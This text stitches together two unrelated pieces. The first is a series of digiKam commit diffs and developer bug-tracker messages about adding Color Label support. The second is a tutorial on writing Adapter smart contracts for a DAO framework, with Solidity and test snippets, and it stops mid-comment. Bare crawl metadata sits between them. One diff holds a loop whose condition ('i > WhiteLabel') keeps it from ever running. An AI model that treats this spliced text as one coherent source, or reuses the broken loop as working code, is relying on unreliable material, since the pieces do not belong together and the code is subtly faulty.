d->colorLabelsTags.insert(YellowLabel, getOrCreateInternalTag(InternalTagName::colorLabelYellow())); + d->colorLabelsTags.insert(GreenLabel, getOrCreateInternalTag(InternalTagName::colorLabelGreen())); + d->colorLabelsTags.insert(BlueLabel, getOrCreateInternalTag(InternalTagName::colorLabelBlue())); + d->colorLabelsTags.insert(MagentaLabel, getOrCreateInternalTag(InternalTagName::colorLabelMagenta())); + d->colorLabelsTags.insert(GrayLabel, getOrCreateInternalTag(InternalTagName::colorLabelGray())); + d->colorLabelsTags.insert(BlackLabel, getOrCreateInternalTag(InternalTagName::colorLabelBlack())); + d->colorLabelsTags.insert(WhiteLabel, getOrCreateInternalTag(InternalTagName::colorLabelWhite())); +} + void TagsCache::invalidate() { d->needUpdateInfos = true; @@ -829,4 +849,12 @@ } } +int TagsCache::getTagForColorLabel(ColorLabel label) +{ + if (label < NoneLabel || label > WhiteLabel) + return 0; + + return d->colorLabelsTags[label]; +} + } // namespace Digikam --- branches/extragear/graphics/digikam/core/libs/database/tagscache @@ -28,6 +29,7 @@ #include "databasechangesets.h" #include "digikam_export.h" +#include "globals.h" namespace Digikam { @@ -186,6 +188,12 @@ */ int getOrCreateInternalTag(const QString& tagName); + /** + * Return internal tags ID corresponding of color label id. see ColorLabel values from globals.h. + * Return 0 if not it's found. + */ + int getTagForColorLabel(ColorLabel label); + static QLatin1String tagPathOfDigikamInternalTags(LeadingSlashPolicy slashPolicy = IncludeLeadingSlash); static QLatin1String propertyNameDigikamInternalTag(); static QLatin1String propertyNameExcludedFromWriting(); @@ -205,15 +213,18 @@ private: - friend class DatabaseAccess; - friend class TagsCacheCreator; - friend class ChangingDB; - TagsCache(); ~TagsCache(); void initialize(); void invalidate(); + void registerColorLabelTagsToDb(); +private: + + friend class DatabaseAccess; + friend class TagsCacheCreator; + friend class ChangingDB; + class TagsCachePriv; TagsCachePriv* const d; }; SVN commit 1218201 by cgilles: use Coor Label tags cache from TagsCache class M +5 -40 tagsactionmngr.cpp M +1 -3 tagsactionmngr.h --- branches/extragear/graphics/digikam/core/digikam/tags/tagsactionmngr.cpp #1218200:1218201 @@ -67,7 +67,7 @@ { } - QMap<int, int> colorLabelsMap; // <color Id, tag label Id from Db> + QMultiMap<int, KAction*> tagsActionMap; QList<KActionCollection*> actionCollectionList; }; @@ -96,39 +96,6 @@ } } -void TagsActionMngr::registerColorLabelTagsToDb() -{ - d->colorLabelsMap.insert(NoneLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelNone())); - - d->colorLabelsMap.insert(RedLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelRed())); - - d->colorLabelsMap.insert(OrangeLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelOrange())); - - d->colorLabelsMap.insert(YellowLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelYellow())); - - d->colorLabelsMap.insert(GreenLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelGreen())); - - d->colorLabelsMap.insert(BlueLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelBlue())); - - d->colorLabelsMap.insert(MagentaLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelMagenta())); - - d->colorLabelsMap.insert(GrayLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelGray())); - - d->colorLabelsMap.insert(BlackLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelBlack())); - - d->colorLabelsMap.insert(WhiteLabel, - TagsCache::instance()->getOrCreateInternalTag(InternalTagName::colorLabelWhite())); -} - void TagsActionMngr::registerActionCollections() { d->actionCollectionList.append(DigikamApp::instance()->actionCollection()); @@ -168,15 +135,13 @@ // Create Color Label shortcuts. - registerColorLabelTagsToDb(); - QMap<int, int>::const_iterator it; foreach(KActionCollection* ac, d->actionCollectionList) { - for (it = d->colorLabelsMap.begin() ; it != d->colorLabelsMap.end(); ++it) + for (int i = NoneLabel ; i > WhiteLabel ; ++i) { - createColorLabelActionShortcut(ac, it.key(), it.value()); + createColorLabelActionShortcut(ac, i); } } } @@ -198,7 +163,7 @@ return false; } -bool TagsActionMngr::createColorLabelActionShortcut(KActionCollection* ac, int colorId, int tagId) +bool TagsActionMngr::createColorLabelActionShortcut(KActionCollection* ac, int colorId) { if (ac) { @@ -208,7 +173,7 @@ action->setShortcut(KShortcut(QString("ALT+%1").arg(colorId))); action->setShortcutConfigurable(false); action->forgetGlobalShortcut(); - action->setData(tagId); + action->setData((int)(TagsCache::instance()->getTagForColorLabel((ColorLabel)colorId))); connect(action, SIGNAL(triggered()), this, SLOT(slotAssignColorLabelFromShortcut())); return true; } --- branches/extragear/graphics/digikam/core/digikam/tags/tagsactionmngr.h #1218200:1218201 @@ -100,10 +100,8 @@ void createActions(); bool createRatingActionShortcut(KActionCollection* ac, int rating); - bool createColorLabelActionShortcut(KActionCollection* ac, int colorId, int tagId); + bool createColorLabelActionShortcut(KActionCollection* ac, int colorId); - void registerColorLabelTagsToDb(); - private: static TagsActionMngr* m_defaultManager; SVN commit 1218207 by cgilles: Add Color Label Selector widget to Captions & Tags view, near Rating widget CCBUGS: 152424 M +38 -1 imagedescedittab.cpp M +3 -0 imagedescedittab.h WebSVN link: SVN commit 1218208 by cgilles: MetadataHub now is hable to paly with Color Label information CCBUGS: 152424 M +86 -7 metadatahub.cpp M +20 -3 metadatahub.h WebSVN link: SVN commit 1218212 by cgilles: add new method to context menu helper to assign Color label Patch iconview context menu to provide Color Label selector. Patch Metadata Manager to handle color Label information with metadata hub CCBUGS: 152424 M +18 -3 contextmenuhelper.cpp M +15 -0 contextmenuhelper.h M +16 -0 digikamimageview.cpp M +2 -0 digikamimageview.h M +56 -1 metadatamanager.cpp M +5 -2 metadatamanager.h M +12 -1 metadatamanager_p.h WebSVN link: SVN commit 1218213 by cgilles: add ColorLabel action to image preview context menu CCBUGS: 152424 U digikamimageview.cpp M +13 -0 imagepreviewview.cpp M +1 -0 imagepreviewview.h WebSVN link: SVN commit 1218214 by cgilles: connect tag action manager to iconview to hadle Color Label with keyboard shortcuts. CCBUGS: 152424 M +2 -3 digikamapp.h M +5 -0 digikamview.cpp M +1 -1 digikamview.h M +1 -0 tags/tagsactionmngr.cpp WebSVN link: SVN commit 1218215 by cgilles: add color label action to image editor context menu CCBUGS: 152424 M +31 -0 imagewindow.cpp M +2 -0 imagewindow.h WebSVN link: SVN commit 1218216 by cgilles: connect tags action manager to image editor to handle Color Label keyboard shortcuts CCBUGS: 152424 M +6 -4 tagsactionmngr.cpp WebSVN link: SVN commit 1218217 by cgilles: connect LightTable to Tags Action Manager to handle Color Label keyboard Shortcuts CCBUGS: 152424 M +1 -1 tagsactionmngr.cpp WebSVN link: SVN commit 1218218 by cgilles: handle Color Label in Light table CCBUGS: 152424 M +17 -0 lighttablebar.cpp M +3 -0 lighttablebar.h M +18 -0 lighttablepreview.cpp M +1 -0 lighttablepreview.h M +5 -0 lighttablewindow.cpp M +1 -0 lighttablewindow.h WebSVN link: SVN commit 1218246 by cgilles: patch itemview image delegate to handle ColorLAbel information. This draw a simple rectangle around icon view item. This must be improved in the future. CCBUGS: 152424 M +1 -2 colorlabelwidget.cpp M +1 -2 colorlabelwidget.h M +20 -2 itemviewimagedelegate.cpp M +3 -1 itemviewimagedelegate.h WebSVN link: SVN commit 1218247 by cgilles: handle color label in iconview, following change in itemview image delegate. CCBUGS: 152424 M +5 -2 imagedelegate.cpp M +1 -1 imagedelegate.h WebSVN link: Marcel, Where is the code to handle image metadata from files when collection are parsed to fill database. typically, for rating, code been at this place : It's now commented... Gilles Caulier MArcel, soundlike all is managed now in ImageScanner class ? Gilles Caulier SVN commit 1218254 by cgilles: Show Color Label Information into image properties view CCBUGS: 152424 M +1 -0 imagepropertiessidebardb.cpp M +1 -0 imagepropertiestab.h WebSVN link: SVN commit 1218259 by cgilles: Show Color Label in item tooltip. CCBUGS: 152424 M +91 -91 digikam/albumsettings.cpp M +8 -5 digikam/albumsettings.h M +11 -6 digikam/tooltipfiller.cpp M +6 -6 utilities/setup/setuptooltip.cpp M +2 -3 utilities/setup/setuptooltip.h WebSVN link: Some progress in Color Label support, planed for 2.0.0-beta3: Gilles Caulier Marcel, In ImageInfo class, setColorLabel() / colorLabel() methods doesn't work properly with database. Can you take a look please ? Gilles SVN commit 1218526 by mwiesweg: 1) Do not add the color label tag to ImageListerRecord when it is not filled by the IOSlave - data is invalid, but the field was marked as cached. (we dont want to change the ioslave binary protocol, it's fast enough to read when needed) 2) Reset colorLabelCached flag at a tag change colorLabel() work now! M +2 -15 imageinfo.cpp M +2 -0 imageinfocache.cpp M +0 -2 imagelisterrecord.h --- branches/extragear/graphics/digikam/core/libs/database/imageinfo.cpp #1218525:1218526 @@ -68,7 +68,7 @@ albumId = -1; albumRootId = -1; - colorLabel = -1; + colorLabel = NoneLabel; rating = -1; category = DatabaseItem::UndefinedCategory; fileSize = 0; @@ -109,7 +109,6 @@ m_data->albumRootId = record.albumRootID; m_data->name = record.name; - m_data->colorLabel = record.colorLabel; m_data->rating = record.rating; m_data->category = record.category; m_data->format = record.format; @@ -118,7 +117,6 @@ m_data->fileSize = record.fileSize; m_data->imageSize = record.imageSize; - m_data->colorLabelCached = true; m_data->ratingCached = true; m_data->categoryCached = true; m_data->formatCached = true; @@ -377,11 +375,8 @@ if (!m_data->colorLabelCached) { - m_data.constCastData()->colorLabel = NoneLabel; QList<int> tags = tagIds(); - kDebug() << tags; - foreach(int tagId, tags) { for (int i = NoneLabel ; i <= WhiteLabel; ++i) @@ -389,7 +384,6 @@ if (tagId == TagsCache::instance()->getTagForColorLabel((ColorLabel)i)) { m_data.constCastData()->colorLabel = i; - kDebug() << i << " :: " << m_data->colorLabel; break; } } @@ -398,8 +392,6 @@ m_data.constCastData()->colorLabelCached = true; } - kDebug() << m_data->colorLabel; - return m_data->colorLabel; } @@ -1036,19 +1028,13 @@ int tagId = tc->getTagForColorLabel((ColorLabel)colorId); if (!tagId) return; - kDebug() << "Before to assign Color Label: " << tagIds(); - // Color Label is an exclusive tags. for (int i = NoneLabel ; i <= WhiteLabel ; ++i) removeTag(tc->getTagForColorLabel((ColorLabel)i)); - kDebug() << "All Color Label removed: " << tagIds(); - setTag(tagId); - kDebug() << "Color Label assigned: " << colorId << " :: " << tagId << " (" << tagIds() << ")"; - m_data->colorLabel = colorId; m_data.constCastData()->colorLabelCached = true; } @@ -1091,6 +1077,7 @@ return; } + kDebug() << m_data->id << tagID; DatabaseAccess access; access.db()->addItemTag(m_data->id, tagID); } --- branches/extragear/graphics/digikam/core/libs/database/imageinfocache.cpp #1218525:1218526 @@ -30,6 +30,7 @@ #include "imageinfo.h" #include "imageinfolist.h" #include "imageinfodata.h" +#include <kdebug.h> namespace Digikam { @@ -212,6 +213,7 @@ if (it != m_infos.end()) { (*it)->tagIdsCached = false; + (*it)->colorLabelCached = false; } } } --- branches/extragear/graphics/digikam/core/libs/database/imagelisterrecord.h #1218525:1218526 @@ -65,14 +65,12 @@ imageID = -1; albumID = -1; albumRootID = -1; - colorLabel = -1; rating = -1; fileSize = -1; } int albumID; int albumRootID; - int colorLabel; int rating; int fileSize; Marcel, Thanks to patch ImageInfo. Still TODO to complete Color Label support in digiKam : 1/ image import : add image metadata parsing to turn on right Color Label automatically image in database. digiKam save Color Label info in digiKam XMP namespace. 2/ Icon View items filter based on Color Label. 3/ Advanced Search tool : to be able to find items by Color Label 4/ Light Table Bar : it do not support yet Color Label, because widget is not yet ported to Qt4 model View. Your viewpoint/tips ? Gilles > 1/ image import : add image metadata parsing to turn on right Color Label > automatically image in database. digiKam save Color Label info in digiKam XMP > namespace. Must be done in ImageScanner, in scanTags for example. > > 2/ Icon View items filter based on Color Label. Filtering is implemented in ImageFilterSettings in libs/models. If I dont miss something, it can simply be done using the tags filter. > > 3/ Advanced Search tool : to be able to find items by Color Label This is difficult. To save space, there are usually combo boxes. Or something similar, with a popup. A checkbox for each color. Not sure if there is an easy way. > > 4/ Light Table Bar : it do not support yet Color Label, because widget is not > yet ported to Qt4 model View. Oh yes. It should be ported ;-) It will be very similar to the ImageWindow thumbnail bar. 1/ Ok, i take a look. 2/ I don't know this implementation using model... About GUI, i think that we can use the widget dedicated to advanced search. See below... 3/ For the Color Label selection box, i can do it. It's easy. Something hosted in a combbox... Not too difficult. For the engine to patch it's another stuff. 4/ Yes, LT thumbbar is very similar than editor thumbbar. the only difference is the way to display with an overlay over thumb where is display the image in dual canvas (on the right or on the left panel). I think it's not too complicated. In LT, Thumbbar pop-up menu is present too. Gilles Caulier Marcel,. Gilles SVN commit 1218671 by cgilles: temporary solution to draw color label under Light Table, until lighttablebar will use Qt4 model view port CCBUGS: 152424 M +11 -0 lighttablebar.cpp WebSVN link: > 3/ For the Color Label selection box, i can do it. It's easy. Something hosted > in a combbox... Not too difficult. For the engine to patch it's another stuff. Patching the search backend will not be too difficult. I can do it, remind me if I forget. >. The main problem is the dependency on ImageInfo (and thus in libdigikamdatabase). ImageThumbnailBar is very small, most of the code is in ImageCategorizedView (ImageInfo dependent) and DCategorizedView. The idea for showfoto would be to create a not-ImageInfo dependent solution based on DCategorizedView, ItemViewImageDelegate and a model, probably best based on a filesystem model. Git commit 1c83ab8339832630f3a1d3a39f9d085ddba2a1f8 by Gilles Caulier. Committed on 08/02/11 at 14:28. Pushed by cgilles into branch 'development/2.0'. In first run dialog, use MetadataSettings to write information to digiKam rc config file Turn on Color Label info to write in metadata if user is agree to update image information to files. Use more private internal containers. CCBUGS: 152424 M +2 -2 utilities/firstrun/assistantdlg.cpp M +2 -3 utilities/firstrun/assistantdlg.h M +2 -2 utilities/firstrun/assistantdlgpage.cpp M +2 -3 utilities/firstrun/assistantdlgpage.h M +2 -2 utilities/firstrun/collectionpage.cpp M +2 -3 utilities/firstrun/collectionpage.h M +14 -12 utilities/firstrun/metadatapage.cpp M +2 -3 utilities/firstrun/metadatapage.h M +2 -2 utilities/firstrun/openfilepage.cpp M +2 -3 utilities/firstrun/openfilepage.h M +2 -2 utilities/firstrun/previewpage.cpp M +2 -3 utilities/firstrun/previewpage.h M +2 -2 utilities/firstrun/rawpage.cpp M +2 -3 utilities/firstrun/rawpage.h M +1 -1 utilities/firstrun/startscanpage.cpp M +1 -1 utilities/firstrun/startscanpage.h M +2 -2 utilities/firstrun/tooltipspage.cpp M +2 -3 utilities/firstrun/tooltipspage.h M +1 -1 utilities/firstrun/welcomepage.cpp M +1 -1 utilities/firstrun/welcomepage.h Git commit 14f8aa431dacf268e129678700c6b200501edbae by Gilles Caulier. Committed on 08/02/11 at 15:50. Pushed by cgilles into branch 'development/2.0'. implement Color Label import to database when item is add to collection. Properties is restaured from digiKam XMP namespace CCBUGS: 152424 M +20 -4 libs/database/imagescanner.cpp M +6 -3 libs/database/imagescanner.h Bibble Labels "Pick" : I just see in bibble web site that Color Labels are supported : ... but not only. There is "Pick" annotation available. Somebody in this room know this feature ? Gilles Caulier "Versions can be marked a Tagged, Rejected, or Untagged. Marking a version as Tagged is a great way to make a quick indication of images in your Catalog. You might use the Tag indicator to mark images that you are in the process of editing, removing the tag from finished images (and perhaps apply a Label as well). Or perhaps you Tag several images with similar content so you can quickly select then to compare and select the best. Marking an image as Rejected will help you keep your catalog free of out of focus, or otherwise poor quality images. One workflow would be to scan through new images, marking the poor quality images as Rejected. Once all images have been reviewed, Filter the Thumbnail View to show only the rejected images to verify that you marked only the poor quality images, then permanently delete the Rejected images. Or keep the images, leaving them as Rejected to prevent them from showing up in the standard view of your Catalog, while leaving them on your computer just in case you do need that image later." () Darkroom has the same feature (and probably other softwares as I think it is a standard for xmp: like color tags or rating it can be read by other softwares). asked for this kind of feature. I remember another wish asking for this "Pick/Rejected" feature, but I don't find it. If I remember correctly, the answer was that it can be done with stars. For my part, I think it is useful; it can be done with stars but sometimes it is less handy. "Darkroom" -> Lightroom, sorry Thanks Emile, I thinking that all these workflow attributes (accepted/refused images) can be managed with Color Labels as well. Marcel, please, give me your viewpoint about "Pick" tag. Relevant entry is Gilles Caulier Git commit f2fa5eb39c469e1ddf0d98f4fb4f421b648e461b by Gilles Caulier. Committed on 09/02/11 at 15:57. Pushed by cgilles into branch 'development/2.0'. Introduce Color Label Filter widget. This widget show a list of color label selectable (through check-box). This widget will be used to perform Color Labels icon-view filter from statusbar. A preview of this widget in action is given below: Note: On status bar, push button text is the count of color label checked. For the moment this button is not displayed. Icon-view filtering by Color Label is not yet implemented. CCBUGS: 152424 M +1 -0 CMakeLists.txt M +19 -30 digikam/albumiconviewfilter.cpp M +2 -3 digikam/albumiconviewfilter.h A +163 -0 digikam/tags/colorlabelfilter.cpp [License: GPL (v2+)] A +105 -0 digikam/tags/colorlabelfilter.h [License: GPL (v2+)] Git commit 37fefa894273c8067a1f1fe987be7afa7e5716fc by Gilles Caulier. Committed on 10/02/2011 at 09:25. Pushed by cgilles into branch 'development/2.0'. prepare album icon-view filter to use Color Laber filter. M +13 -8 digikam/albumiconviewfilter.cpp M +3 -1 digikam/albumiconviewfilter.h M +1 -1 digikam/tags/colorlabelfilter.cpp M +3 -1 digikam/tags/colorlabelfilter.h Git commit 1d58cce801b12b60fe6a4031ae302453ee0a9d4f by Gilles Caulier. Committed on 10/02/2011 at 10:24. Pushed by cgilles into branch 'development/2.0'. Color Label icon-biew filter is implemented and fully suitable. Color Label Filter widget have been moved fro status bar to Tag Filter Sidebar tab. Like this, we can apply the same filter conditions between tags filters and color label filters. A screenshot : CCBUGS: 152424 M +0 -11 digikam/albumiconviewfilter.cpp M +0 -2 digikam/albumiconviewfilter.h M +35 -8 digikam/tagfiltersidebarwidget.cpp M +3 -1 digikam/tagfiltersidebarwidget.h M +22 -36 digikam/tags/colorlabelfilter.cpp M +5 -24 digikam/tags/colorlabelfilter.h Marcel, Icon-view Color Labels filtering is now implemented. Please take a look if all is fine for you... I'm not sure about OR/AND condition rules here. Still Color Labels support to add in Advanced Search tool, and all will be completed. Gilles Caulier Marcel, in fact, as Color label are exclusive, only OR operation can be done between Color Labels. But AND/OR operators can be done between Color Labels and Tags. This is more complex that i think... If you try AND operator in Tags Filter, using only Color Labels, of course it don't work... Gilles Caulier Marcel, the AND/OR logic between Tags and Color Labels in Tags Filter View is given below: AND : (tags && tags && tags && ...) && (CL || CL || CL || ...) OR : (tags || tags || tags || ...) || (CL || CL || CL || ...) Fine for you ? Gilles Caulier Created attachment 57111 [details] moc-up for Advanced Search tool with Color Labels. Marcel, in git, ColorLabelWidget has a non exclusive mode for Advanced Search tool. Typically, in this mode you can select more that one Color Labels at the same time. Also, description view on the bottom can be disabled with the right method. I think you can use it as well in Advanced Search dialog, as i propose in my moc-up. Gilles Caulier Git commit f5eb8563a93880cf556477068d4f9d015464fc72 by Gilles Caulier. Committed on 11/02/2011 at 06:56. Pushed by cgilles into branch 'development/2.0'. Since Color Label Widget has a non-exclusive mode, we can use it as cal label filter to make an homogenous GUI everywhere and to optimize space in Tags Filter view. CCBUGS: 152424 M +5 -5 digikam/tagfiltersidebarwidget.cpp M +8 -91 digikam/tags/colorlabelfilter.cpp M +3 -25 digikam/tags/colorlabelfilter.h M +1 -1 digikam/tags/ratingfilter.h M +4 -6 libs/widgets/common/colorlabelwidget.cpp M +3 -3 libs/widgets/common/colorlabelwidget.h Created attachment 57154 [details] Patch for Advanced Search tool to support Color Labels. Marcel, This is a patch to add Color Labels support in Advanced Search tool. GUI for fine, but not search result in icon view... Can you take a look ? Thanks in advance Gilles Caulier Marcel, See on my Flickr account how Color Labels have been integrated to Advanced Search tool : Gilles Caulier Created attachment 57156 [details] Patch for Advanced Search tool to support Color Labels. update patch for better gui layout. Gilles Caulier Marcel, I found a strange bug in "Caption & Tags". 1/ Assign a color Green for ex. 2/ now try to assign Red => it still Green. 3/ now try to assign Black => it's ok. In fact, trying to assign a color label id < of current one doesn't work. Assigning a color label id > of current one work fine. Note : from context menu, i cannot reproduce the problem. Can you reproduce it on your computer ? Gilles Caulier Git commit 16d80e8af51f02bf149c65318ce24685b581eb6b by Marcel Wiesweg. Committed on 12/02/2011 at 14:43. Pushed by mwiesweg into branch 'development/2.0'.. CCBUG: 152424 M +5 -0 digikam/metadatahub.cpp Git commit 05d0b7000f580e916eadaf4edfdbb1dbb875816e by Gilles Caulier. Committed on 14/02/2011 at 14:57. Pushed by cgilles into branch 'development/2.0'. re-implement Color Label Filter filter rule. More simple without to use tag filter rules (as rating, text, mime, etc...) CCBUGS: 152424 M +4 -2 digikam/digikamview.cpp M +16 -15 digikam/tagfiltersidebarwidget.cpp M +5 -5 digikam/tagfiltersidebarwidget.h M +7 -5 libs/models/imagefiltermodel.cpp M +6 -3 libs/models/imagefiltermodel.h M +43 -16 libs/models/imagefiltersettings.cpp M +12 -7 libs/models/imagefiltersettings.h Git commit 91d58743f3d5524bfdcd47c706a16fc51eec485b by Gilles Caulier. Committed on 14/02/2011 at 15:30. Pushed by cgilles into branch 'development/2.0'.. BUGS: 152424 M +7 -0 libs/database/tagscache.cpp M +6 -0 libs/database/tagscache.h M +108 -2 utilities/searchwindow/searchfields.cpp M +29 -1 utilities/searchwindow/searchfields.h M +3 -1 utilities/searchwindow/searchgroup.cpp M +2 -1 utilities/searchwindow/searchgroup.h
https://bugs.kde.org/show_bug.cgi?id=152424
CC-MAIN-2022-33
refinedweb
7,478
51.44
1 /* 2 * Copyright (c).java; 27 28 /** 29 * Information about the occurrence of an identifier. 30 * The parser produces these to represent name which cannot yet be 31 * bound to field definitions. 32 * 33 * WARNING: The contents of this source file are not part of any 34 * supported API. Code that depends on them does so at its own risk: 35 * they are subject to change or removal without notice. 36 * 37 * @see 38 */ 39 40 public 41 class IdentifierToken { 42 long where; 43 int modifiers; 44 Identifier id; 45 46 public IdentifierToken(long where, Identifier id) { 47 this.where = where; 48 this.id = id; 49 } 50 51 /** Use this constructor when the identifier is synthesized. 52 * The location will be 0. 53 */ 54 public IdentifierToken(Identifier id) { 55 this.where = 0; 56 this.id = id; 57 } 58 59 public IdentifierToken(long where, Identifier id, int modifiers) { 60 this.where = where; 61 this.id = id; 62 this.modifiers = modifiers; 63 } 64 65 /** The source location of this identifier occurrence. */ 66 public long getWhere() { 67 return where; 68 } 69 70 /** The identifier itself (possibly qualified). */ 71 public Identifier getName() { 72 return id; 73 } 74 75 /** The modifiers associated with the occurrence, if any. */ 76 public int getModifiers() { 77 return modifiers; 78 } 79 80 public String toString() { 81 return id.toString(); 82 } 83 84 /** 85 * Return defaultWhere if id is null or id.where is missing (0). 86 * Otherwise, return id.where. 87 */ 88 public static long getWhere(IdentifierToken id, long defaultWhere) { 89 return (id != null && id.where != 0) ? id.where : defaultWhere; 90 } 91 }
http://checkstyle.sourceforge.net/reports/javadoc/openjdk8/xref/openjdk/jdk/src/share/classes/sun/tools/java/IdentifierToken.html
CC-MAIN-2018-13
refinedweb
262
60.61
How to create an Adapter #Introduction Adapters are well defined, tested and extensible smart contracts that are created with a unique purpose. One Adapter is responsible for performing one or a set of tasks in a given context. With this approach we can develop adapters targeting specific use-cases, and update the DAO configurations to use these new adapters. When a new adapter is created, one needs to submit a Managing proposal to add the new adapter to the DAO. Once the proposal passes, the new adapter is added and becomes available for use. Each adapter needs to be configured with the Access Flags in order to access the Core Contracts, and/or use the existing Extensions. Otherwise the Adapter will not able to interact with the DAO. tip The adapter must follow the rules defined by the Template Adapter. #Defining the Interface The adapter must implement one or more of the available interfaces at contracts/adapters/interfaces. If none of these interfaces match the use-case of your adapter, feel free to suggest a new interface. #Pick the right Adapter type There are two main types of adapters that serve different purposes. #Proposal Writes/reads to/from the DAO state based on a proposal, and the proposal needs to pass, otherwise the DAO state changes are not applied, e.g: GuildKick.sol. Example of a Proposal Adapter contract SampleContract is IFinancing, // in addition to the proposal submission. * @dev Describe any required states/checks/parameters that are necessary to execute the function. * @param dao The DAO address. * @param proposalId The proposal id that is managed by the client. * ) external override { // If the submission needs to be restricted by DAO members/advisors // it is a good practice to use the helper function from the IVoting interface. // Mainly because if you have an offchain voting Adapter enabled, the sender address may vary. IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING)); address submittedBy = votingContract.getSenderAddress(dao, address(this), data, msg.sender); // Add any `required` checks here before starting the proposal submission process. required(pre - condition, "error message"); // Starts the submission _submitXProposal(dao, proposalId, param1, param2, paramN); } /** * @notice Explain what the submission function does, what kind of checks/validations are performed. Sometimes you may want to sponsor the proposal * right away in the same transaction, so you can do that at the end of the submission process, by calling the dao.sponsorProposal. * @dev Describe any additional checks that the function performs, e.g: only members are allowed, etc. * @param dao The dao address. * @param proposalId The guild kick proposal id. * ) internal onlyMember2(dao, submittedBy) { // onlyMember2 in this case we are restricting the access to members/advisors only // Make sure you create the proposal in the DAO. // The DAO already checks if the proposal id is not a duplicate. dao.submitProposal(proposalId); // Performing any additional checks or logic you may need. // If you want to sponsor the proposal right away, you need to start the voting process. IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING)); votingContract.startNewVotingForProposal(dao, proposalId, data); // Finally sponsor the x proposal. // The DAO already checks if the proposal exists and is being sent by a member/advisor. dao.sponsorProposal(proposalId, submittedBy); // If you do want to start the voting and sponsor the proposal in the same transaction, // just include these 2 last calls into a new function that must be triggered in another transaction. } /** * @notice Explain what happens during the processProposal execution. * @dev Describe additional validations that are performed in the function. * @param dao The dao address. * @param proposalId The guild kick proposal id. */ function processProposal(DaoRegistry dao, bytes32 proposalId) external override { // Update the DAO state to ensure the proposal is processed // The DAO already checks if the proposal id exists, or was already processed, dao.processProposal(proposalId); // Checks if the proposal has passed, otherwise it should not be processed. IVoting votingContract = IVoting(dao.getAdapterAddress(VOTING)); require( votingContract.voteResult(dao, proposalId) == IVoting.VotingState.PASS, "proposal did not pass" ); // Here you can update any Adapter state that you may need ... } } #Generic Writes/reads to/from the DAO state without a proposal, e.g: Bank Adapter. Example of a Generic Adapter contract Sample2Contract is IX, //, if it changes the DAO state or just reads, etc. * @dev Describe any additional requirements/checks/configurations. * @param dao The DAO address. * @param param1 The description of the parameter 1. */ function myFunction(DaoRegistry dao, type1 param1) external { // Add any checks / validation you may need require(pre - condition, "error message"); // Instantiate any Extension that you may want to use, e.g: BankExtension bank = BankExtension(dao.getExtensionAddress(BANK)); // Using the extension uint256 balance = bank.balanceOf(account, token); // Executing a transaction that changes the Extension state. bank.functionToCall(param1); // Emit an event if needed. emit MyEvent(address(dao), param1); }} #Identifying the Modifiers We have adapters that are accessible only to members and/or advisors of the DAO (e.g: Ragequit.sol), and adapters that are open to any individual or organization, e.g: Financing.sol. While creating the adapter try to identify which sort of users you want to grant access to. Remember that the adapters are the only way we have to alter the DAO state, so be careful with the access modifiers you use. We already have some of them implemented, take a look at the Adapter Guards, and feel free to suggest new ones if needed. caution In addition to that, every external function in the adapter must contain the guard reentrancyGuard to prevent the reentrancy attack. #Map out the proper Access Flags Another important point is to map out which sort of permissions your adapter needs in order to write/read data to/from the DAO. If your adapter interacts with an Extension, you will also need to provide the correct Access Flags to access that extension. #Set up the DAO custom configurations Some adapters might need customized/additional configurations to make decisions on the fly. These configurations can and should be set per DAO. In order to do that you need to identify what sort of parameters that you want to keep customizable and set them up through the Configuration Adapter. #Be mindful of the storage costs The key advantage of the adapters is to make them very small and suitable to a very specific use-case. With that in mind we try to not use the storage that much. We prefer efficient and cheap adapters that can be easily deployable and maintainable. The less state it maintains and operations it executes, the better. #Conventions & Implementation Function names (public) - For Adapter that is a Proposal type - submitProposal - processProposal Function names (private) - _myFunction Revert as early as possible Your adapter should not accept any funds. So it is a good practice to always revert the receive call. /** * @notice default fallback function to prevent from sending ether to the contract. */receive() external payable { revert("fallback revert");} Make sure you add the correct requirechecks - Usually the adapter needs to perform some verifications before executing the calls that may change the DAO state. Double check if the DAORegistry functions that your adapter uses already implement some checks, so you do not need to repeat them in the adapter. #Testing the new Adapter In order to verify if the new adapter works properly, one needs to implement the basic test suite, so we can ensure it is actually doing what it was supposed to do. There are several examples of tests that you can check to start building your own. Take a look at the tests/adapters folder. The general idea is to create one test suite per adapter/contract. And try to cover all the happy paths first, and then add more complex test cases after that. You need to declare the new adapter contract in deployment/contracts.config.js file, so it can be accessed in the deploy/test environment. Make sure you use following the structure: { name: "Sample2Contract", path: "../contracts/path/Sample2Contract", enabled: true, version: "1.0.0", type: ContractType.Adapter, },("Adapter - AdapterName", () => { /** * set a single configuration parameter", adapter that you are creating is not part of the default set of adapters, you need to import it from utils/OZTestUtil.js, and deploy it, then you can configure the Adapter access flags after the adapter is created in the test suite, but before the DAO is finalized. When the DAO is finalized it means that the DAO initialization has been completed, so any state changes must be done though a proposal, instead of doing it through the deployment phase. Here is a simple example of an adapter configurated after its creation, but before the DAO creation is finalized: import { MyAdapter2Contract } from "../../utils/OZTestUtil"; describe("Adapter - AdapterName2", () => { it("should be possible to...", async () => { // Creating the new DAO without finalizing it // So you can add new adapters without going through // a proposal process. const { dao, factories, extensions } = await deployDefaultDao({ owner: owner, finalize: false, }); // Creating your adapter const myAdapter2Contract = await MyAdapter2Contract.new(); // Once the dao is created, use the daoFactory contract // to add the new adapter to the DAO with the correct // ACL using the `addAdapters` function: await factories.daoFactory.addAdapters( dao.address, // When you are creating an adapter that access the DAO // state, you need to provide the `entryDAO` ACL // from DeploymentUtil.entryDao [entryDao("myAdapter2", myAdapter2Contract, { THE_ACL_FLAG_1: true // the name of the ACL flag, that needs to be enabled. // for more info checkout: // })], { from: owner } ); // If your adapter needs to access a DAO Extension, // you can set up your adapter to access the extension // using the `daoFactory.configureExtension` function: await factories.daoFactory.configureExtension( dao.address, myAdapter2Contract.address, [ entryExecutor(myAdapter2Contract, { THE_ACL_FLAG_X: true, // the name of the ACL flag, that 